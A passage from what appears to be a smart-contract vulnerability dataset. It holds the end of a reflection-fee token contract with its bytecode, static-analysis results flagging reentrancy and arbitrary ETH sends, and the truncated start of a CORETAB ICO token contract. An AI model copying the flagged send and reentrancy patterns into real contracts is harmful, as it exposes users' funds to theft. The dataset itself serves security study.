rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600c81526020017f50616e646153616d757261690000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068015af1d78b58c400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f50414e4455524149000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2b468ee657c0a5a15cc89bd01431c0215aa5404d669ba3ab02d60bb8ca92a0464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,890
0xfabb644f3e03540c4f1cece5298a2fed50286e33
pragma solidity ^0.4.20; // ---------------------------------------------------------------------------- // CORETAB - The World Changer Edition ICO Smart Contract // // Symbol : CRT // Name : CORETAB // initial Supply : 300,000,000 // Decimals : 18 // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe math // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // Ownership contract // _newOwner is address of new owner // ---------------------------------------------------------------------------- contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = 0x12D91d8f280EbBC7366F118B3FA7BC7f2A555BCd; } modifier onlyOwner { require(msg.sender == owner); _; } // transfer Ownership to other address function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0)); emit OwnershipTransferred(owner,_newOwner); owner = _newOwner; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract Coretab is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; bool public isStopped = false; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint256 amount); event 